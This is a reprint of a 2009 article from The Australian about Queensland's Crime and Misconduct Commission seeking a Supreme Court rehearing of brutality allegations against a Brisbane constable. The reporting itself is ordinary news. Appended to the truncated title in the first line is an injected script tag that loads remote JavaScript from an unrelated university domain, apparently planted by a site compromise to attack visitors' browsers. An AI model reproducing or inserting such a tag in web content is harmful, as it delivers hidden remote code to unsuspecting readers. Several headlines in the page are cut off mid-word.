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Queensland Crime and Misconduc<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

The Australian
20 November 2009

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Queensland Crime and Misconduc

Cop faces fresh brutality hear

THE Crime and Misconduct Commission wants allegations against a Brisbane policeman reheard, after the officer was twice cleared of slapping, punching and throwing handcuffed offenders across a room.

The CMC's Supreme Court application for a judicial review of the case of Constable Patrick Brian Gardiner may stoke the already high tensions between police and the anti-corruption watchdog.

The protracted CMC inquiry into the police investigation of the death in custody of Mulrunji Doomadgee, disputes over police use of Tasers, the watchdog's Operation Capri report into police misconduct and the revelation that the CMC took too long to investigate allegations against north Queensland policeman Mick Isles, who is now missing, have all served to sour relations.

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At a Supreme Court hearing yesterday, the CMC argued that the Gardiner matter should be reheard, this time before the Queensland Civil and Administrative Tribunal.

Constable Gardiner was accused of using excessive force against seven people in custody in separate incidents over six months in 2004.

At an internal police disciplinary hearing, Constable Gardiner faced three charges of improper conduct and pleaded guilty to one, in which he admitted he had enticed a man in custody to fight him. He was alleged to have thrown the man across the floor of the police station, and slapped and punched other people in custody.

Assistant Police Commissioner Peter Swindells cleared Constable Gardiner of the two contested charges and imposed no sanctions on him.

The CMC appealed against the decision, taking the matter to the Misconduct Tribunal, where the presiding member dismissed the watchdog's appeal this year.

Now the CMC has effectively appealed again, asking the Supreme Court to allow another hearing of the allegations.

Peter Callaghan SC, for the CMC, argued yesterday that the Misconduct Tribunal's member had made errors of law in deciding to dismiss the watchdog's appeal, including failing to consider relevant evidence.

The court heard that the member did not consider a transcript of the recording of an exchange between Constable Gardiner and a friend of one of the alleged victims, in which the officer said: "Go ahead, make your shitty complaints. I've had a hundred complaints and I've still got a job, mate."

Brad Farr SC, for Constable Gardiner, argued that the presiding member of the Misconduct Tribunal had correctly followed the law.

Judge Peter Applegarth yesterday reserved his judgment in the matter.

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Article sourced from

The Australian20 November 2009

Cop faces fresh brutality hear

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The Australian
20 November 2009